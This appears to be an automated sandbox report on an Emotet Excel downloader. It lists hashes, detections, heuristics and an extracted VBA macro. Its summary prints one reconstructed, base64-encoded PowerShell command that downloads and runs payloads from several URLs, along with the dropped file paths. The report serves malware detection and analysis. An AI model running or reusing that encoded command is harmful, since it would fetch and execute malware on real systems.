Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 f73faf06eca453ef…

MALICIOUS

Office (OLE) / .XLSX

151.5 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel
MD5: b4f9816055b325e38898f00e7ab96972 SHA-1: 3b7c830d6efaf99e482471d72e2783610ac0c7d8 SHA-256: f73faf06eca453ef4e9a0660e3c512635cdaf6c67fc5a90f4fd29468d9c1f769
280 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The file is identified as malicious by ClamAV with the signature 'Doc.Downloader.EmotetExcel02222-9938901-0'. Static analysis reveals VBA macros, specifically a Workbook_Open auto-execution routine that uses CreateObject to instantiate Wscript.Shell. The embedded VBA script contains obfuscated PowerShell commands that attempt to download and execute payloads from multiple URLs. One reconstructed PowerShell command is: 'wers:hell -e:nc JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwAHMAOgAvAC8AcwB0AG8AcgBlAC4AdQB4AGQAcwB1AG0AbQBpAHQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFYAZgBnAEIAUwBRAGEANwBaAC8ALABoAHQAdABwAHMAOgAvAC8AZwBsAG8AdwByAGUAbgB0AGEAbABzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBmADEAegBlAEEASwBHAFQAbgBTADYASQAvACwAaAB0AHQAcAA6AC8ALwBjAGEAbgBkAGkAcwBlAGUALgBiAG0AaQBuAHQAZQByAGEAYwB0AGkAdgBlAGcAcgBvAHUAcAAuAGMAbwBtAC8AMQBnADkANABuAGcAbwAvADIAbgA3AGwASgBvAFAAdQBQAEQARQBhAG4AUABjAFgALwAsAGgAdAB0AHAAOgAvAC8AYgBhAGMAaABpAGwAbABlAHIAYQB0AG8AcABvAHIAYwBpAGMAbABvAHMALgBvAHIAZwAv'. The script also attempts to write a VBS file to 'c:\programdata\tghklsd.vbs' and a batch file to 'c:\programdata\jledshf.bat'.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetExcel02222-9938901-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel02222-9938901-0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 12041 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.

Open this report in the interactive analyzer, or submit your own file for analysis.